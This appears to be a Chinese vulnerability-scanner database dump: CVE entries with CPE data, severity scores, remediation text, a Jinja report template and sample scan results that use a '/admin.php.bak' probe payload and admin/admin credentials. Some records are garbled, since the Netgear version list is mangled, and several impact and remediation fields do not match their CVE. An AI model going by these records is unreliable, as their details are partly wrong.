} | service | null | Apple iOS和OS X都是美国苹果（Apple）公司的操作系统。Apple iOS是为移动设备所开发；OS X是为Mac计算机所开发。Office Viewer是其中的一个用于显示和交互Microsoft Office文件的ActiveX组件。 Apple iOS 8.4.1之前版本和OS X 10.10.5之前版本的Office Viewer中存在安全漏洞。远程攻击者可借助带有外部实体声明和实体引用的XML文档利用该漏洞读取任意文件。 | CVE-2015-3784 | CVE-2015-3784: Apple iOS和OS X Office Viewer 安全漏洞 | null | 暂无 | f | 16/8/2015 16:00:00 | 1. 修改配置文件使目标路径不可访问。
2. 禁止在 Web 站点的发布下放置任何测试配置文件。
3. 禁止在正式部署环境中存在调试文件和调试信息。
4. 开发环境与部署环境分离，不要直接在线上系统修改代码。
5. 建立规范的部署流程，不要直接在源代码的工作目录进行发布和部署。 |
|
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:freebsd:freebsd:6.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:freebsd:freebsd:5.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:freebsd:freebsd:7.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:o:freebsd:freebsd:6.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}] | null | f | CT-125361 | CNNVD-200802-304 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | 27789 | f | {CT-125361,CVE-2008-0777,CNNVD-200802-304,27789} | low | 6.3 | null | 攻击者可在没有认证的情况下直接操作对应的 API 接口，可直接被非法增删改次数据。且因为攻击是在未认证下进行的，所以后续无法通过定位用户进行异常排查。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | service | null | FreeBSD就是一种运行在Intel平台上、可以自由使用的开放源码Unix类系统。 FreeBSD在处理文件的访问控制时存在漏洞，本地攻击者可能利用此漏洞获取敏感信息。 当进程打开文件(和其他文件系统对象，如目录)时，会指定访问标记说明所要进行的读、写或其他操作。会对这些标记检查文件系统权限，然后存储到所生成的文件描述符，以验证之后的操作。 FreeBSD的sendfile(2)系统调用在从文件发送数据之前没有检查文件描述符访问标记，如果文件为只写的话，则即使用户无法读访问文件，用户进程仍可以打开文件并使用sendfile通过套接字发送文件的内容，导致可能泄露敏感信息。仅在系统存在只写文件时系统才会受漏洞影响，而这种情况并不常见。 | CVE-2008-0777 | CVE-2008-0777: FreeBSD sendfile(2)函数 权限许可和访问控制 | null | 暂无 | f | 14/2/2008 16:00:00 | 1. 日常开发中要多留意业务逻辑可能出现的漏洞和水平权限漏洞或者其它未发现的漏洞。
2. 鉴权，服务端对请求的数据和当前用户身份做校验;完善基础安全架构，完善用户权限体系。
3. 对于后台接口，确保所有 API 接口先经过登录控制器。
4. 在验证用户身份权限前不进行任何数据的交互。 |
|
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:lennart_poettering:rkit:0.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:redhat:enterprise_linux:6.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}] | null | f | CT-124073 | CNNVD-201309-406 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | 62505 | f | {CT-124073,CVE-2013-4326,CNNVD-201309-406,62505} | low | 5.3 | null | 攻击者可在没有认证的情况下直接操作对应的 API 接口，可直接被非法增删改次数据。且因为攻击是在未认证下进行的，所以后续无法通过定位用户进行异常排查。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | service | null | Ubuntu是英国科能（Canonical）公司和Ubuntu基金会共同开发的一套以桌面应用为主的GNU/Linux操作系统。rtkit package（又称RealtimeKit）是其中的一个D-Bus系统服务包。 RealtimeKit 0.5版本中存在安全漏洞，该漏洞源于在通信期间polkit授权使用不安全的D-BUS接口。本地攻击者可通过setuid或pkexec进程利用该漏洞绕过既定的访问限制。 | CVE-2013-4326 | CVE-2013-4326: Ubuntu ‘rtkit’包本地安全绕过漏洞 | null | 暂无 | f | 3/10/2013 16:00:00 | 1. 日常开发中要多留意业务逻辑可能出现的漏洞和水平权限漏洞或者其它未发现的漏洞。
2. 鉴权，服务端对请求的数据和当前用户身份做校验;完善基础安全架构，完善用户权限体系。
3. 对于后台接口，确保所有 API 接口先经过登录控制器。
4. 在验证用户身份权限前不进行任何数据的交互。 |
|
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:codecguide:k-lite_codec_pack:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndIncluding": "10.4.5"}]}] | null | f | CT-132768 | CNNVD-201405-303 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | 67403 | f | {CT-132768,CVE-2014-3452,CNNVD-201405-303,67403} | medium | 4.3 | null | 可能造成造成信息泄露，getshell，业务系统不稳定等安全问题 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | service | null | K-lite Codec是一个解码器安装包，它能够为播放器提供不同格式的音视频文件解码。 K-lite Codec 10.4.5及之前版本的FiltersLAVavfilter-lav-4.dll文件存在安全漏洞。远程攻击者可借助特制的JPG文件利用该漏洞造成拒绝服务（崩溃）。 | CVE-2014-3452 | CVE-2014-3452: K-lite Codec 拒绝服务漏洞 | null | 暂无 | f | 15/5/2014 16:00:00 | 建议尽快修复安全问题，并做好安全管理工作，定期进行安全巡检，最大程度地避免安全问题。升级相关加密套件，更新相关软件。 |
|
[{"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:netgear:d6220_firmware:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "1.0.0.66"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:h:netgear:d6220:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}, {"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:netgear:d6400_firmware:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "1.0.0.100"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:h:netgear:d6400:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}, {"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:netgear:d7000v2_firmware:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "1.0.0.66"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:h:netgear:d7000v2:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}, {"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:netgear:d8500_firmware:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "1.0.3.58"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:h:netgear:d8500:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}, {"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:netgear:dc112a_firmware:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "1.0.0.52"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:h:netgear:dc112a:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}, {"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:netgear:dgn2200v4_firmware:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "1.0.0.118"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:h:netgear:dgn2200v4:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}, {"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:netgear:eax80_firmware:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "1.0.1.64"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:h:netgear:eax80:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}, {"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:netgear:r6250_firmware:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "1.0.4.48"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:h:netgear:r6250:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}, {"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:netgear:r7000_firmware:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "1.0.11.110"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:h:netgear:r7000:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}, {"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:netgear:r7000p_firmware:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "1.3.2.132"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:h:netgear:r7000p:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}, {"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:netgear:r8000_firmware:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "1.0.4.62"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:h:netgear:r8000:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}, {"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:netgear:r8000p_firmware:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "1.4.1.64"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:h:netgear:r8000p:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}, {"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:netgear:r7100lg_firmware:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "1.0.0.72"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:h:netgear:r7100lg:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}, {"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:netgear:r7900_firmware:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "1.0.4.30"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:h:netgear:r7900:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}, {"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:netgear:r7900p_firmware:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "1.4.1.64"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:h:netgear:r7900p:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}, {"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:netgear:r7960p_firmware:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "1.4.1.64"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:h:netgear:r7960p:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}, {"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:netgear:r6900p_firmware:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "1.3.2.132"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:h:netgear:r6900p:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}, {"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:netgear:r6400v2_firmware:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "1.0.4.106"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:h:netgear:r6400v2:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}, {"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:netgear:r6700v3_firmware:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "1.0.4.106"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:h:netgear:r6700v3:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}, {"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:netgear:xr300_firmware:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "1.0.3.68"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:h:netgear:xr300:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}, {"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:netgear:rs400_firmware:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "1.5.1.80"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:h:netgear:rs400:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}, {"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:netgear:rax200_firmware:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "1.0.3.106"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:h:netgear:rax200:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}, {"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:netgear:rax20_firmware:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "1.0.2.82"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:h:netgear:rax20:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}, {"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:netgear:rax45_firmware:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "1.0.2.82"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:h:netgear:rax45:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}, {"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:netgear:rax80_firmware:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "1.0.3.106"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:h:netgear:rax80:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}, {"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:netgear:rax15_firmware:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "1.0.2.82"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:h:netgear:rax15:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}, {"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:netgear:rax50_firmware:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "1.0.2.82"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:h:netgear:rax50:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}, {"children": [{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:o:netgear:rax75_firmware:*:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true, "versionEndExcluding": "1.0.3.106"}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:h:netgear:rax75:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": false}]}], "operator": "AND", "cpe_match": []}] | null | f | CT-225066 | CNNVD-202112-2405 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | f | {CT-225066,CVE-2021-45610,CNNVD-202112-2405} | critical | 9.8 | null | 可能造成造成信息泄露，业务系统不稳定等安全问题 | null | service | null | Netgear NETGEAR是美国网件（Netgear）公司的一款路由器。连接两个或多个网络的硬件设备，在网络间起网关的作用。 某些 NETGEAR 设备存在安全漏洞，该漏洞源于某些 NETGEAR 设备受到未经身份验证的攻击者缓冲区溢出的影响。这会影响 1.0.0.66 之前的 D6220、1.0.0.100 之前的 D6400、1.0.0.66 之前的 D7000v2、1.0.3.58 之前的 D8500、1.0.0.52 之前的 DC112A、1.0.0.52 之前的 DGN2200v4.0.10.10.10.10.10.10.4.0.10.4.0.10.10.0.200000000000 1.0.11.110之前的R7000, 1.0.0.72之前的R7100LG, 1.0.4.30之前的R7900, 1.4.1.64之前的R7960P, 1.0.4.62之前的R8000, 1.0.4.62之前的RAX200, 1.0.0.3.04之前的RAX200,1.0.03.04.04.03.之前1.0.4.106, 1.3.2.132之前的R7000P, 1.4.1.64之前的R8000P, 1.0.2.82之前的RAX20, 1.0.2.82之前的RAX45, 1.0.3.106之前的RAX80, .3.2.106之前的RAX80, R671006之前的.3.3.106, R67106.3.106.3.106.106之前的RAX20 1.64、1.0.2.82 之前的 RAX15、1.0.2.82 之前的 RAX50 和 1.0.3.106 之前的 RAX75。 | CVE-2021-45610 | CVE-2021-45610: Netgear NETGEAR 安全漏洞 | null | 暂无 | f | 25/12/2021 16:00:00 | 建议尽快修复安全问题，并做好安全管理工作，定期进行安全巡检，最大程度地避免安全问题。 |
|
[{"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:advantech:webaccess:-:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}] | null | f | CT-73698 | CNNVD-201606-488 | {% if detail.cpe_match -%}
### 漏洞目标
经过对以下目标进行扫描测试：
```
{{ detail.host }}:{{ detail.port }}
```
发现其中存在该漏洞。
{% if detail.http %}
发起 HTTP 探测的请求如下：
```http
{{ detail.request_headers }}
```
服务端返回的 HTTP 响应如下：
```http
{{ detail.response_headers }}
{{ detail.response_body }}
```
{% else %}
尝试连接服务后服务端的响应如下:
```
{{ detail.banner }}
```
{% endif %}
{%- else -%}
经过对以下目标进行扫描测试：
```
{{ detail.addr }}
```
发现存在该漏洞。
{% if detail.extra.param -%}
漏洞存在的参数位置为 `{{detail.extra.param.position}}`, 参数名称为 `{{ detail.extra.param.key}} `
{%- endif %}
{% if detail.payload != "" -%}
漏洞探测过程使用的 payload 为:
```
{{ detail.payload }}
```
{%- endif %}
{% if detail.extra.username -%}
检测发现的用户名为： {{ detail.extra.username.value }}，字段为 {{ detail.extra.username.field }}；
{%- endif %}
{%- if detail.extra.password -%}
检测发现的密码为: {{ detail.extra.password.value }}，字段为 {{ detail.extra.password.field }}
{%- endif %}
{% for k,v in detail.extra.items() if k != "username" and k != "password" and k != "param" and k != "author" -%}
发现 `{{ k }}` 的值为
```
{{ v }}
```
{% endfor %}
{% if detail.snapshot -%}
漏洞探测过程的请求流为
{% for flow in detail.snapshot -%}
第 {{ loop.index }} 个请求为
```
{{ flow[0] }}
```
第 {{ loop.index }} 个响应为
```
{{ flow[1] }}
```
{% endfor %}
{%- endif %}
{%- endif %} | null | f | {CT-73698,CVE-2016-4528,CNVD-2016-04267,CNNVD-201606-488} | medium | 5.0 | CNVD-2016-04267 | 攻击者可在没有认证的情况下直接操作对应的 API 接口，可直接被非法增删改次数据。且因为攻击是在未认证下进行的，所以后续无法通过定位用户进行异常排查。 | {
"target": {
"url": "http://baidu.com"
},
"detail": {
"extra": {
"param": {
"position": "header",
"key": "123",
"value": "123",
"author": "test"
},
"username": {
"value": "admin",
"field": "user"
},
"password": {
"value": "admin",
"field": "pass"
},
"key": "1233"
},
"addr": "http://127.0.0.1:1234",
"payload": "/admin.php.bak",
"snapshot": [
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
],
[
"GET HTTP/1.1\r\n",
"HTTP/1.1 200 OK"
]
]
}
} | service | null | Advantech WebAccess是研华（Advantech）公司的一套基于浏览器架构的HMI/SCADA软件。该软件支持动态图形显示和实时数据控制，并提供远程控制和管理自动化设备的功能。 Advantech WebAccess 8.1_20160519之前版本中存在缓冲区溢出漏洞。本地攻击者可借助特制的DLL文件利用该漏洞造成拒绝服务。 | CVE-2016-4528 | CVE-2016-4528: Advantech WebAccess 缓冲区溢出漏洞 | null | 暂无 | f | 24/6/2016 16:00:00 | 1. 日常开发中要多留意业务逻辑可能出现的漏洞和水平权限漏洞或者其它未发现的漏洞。
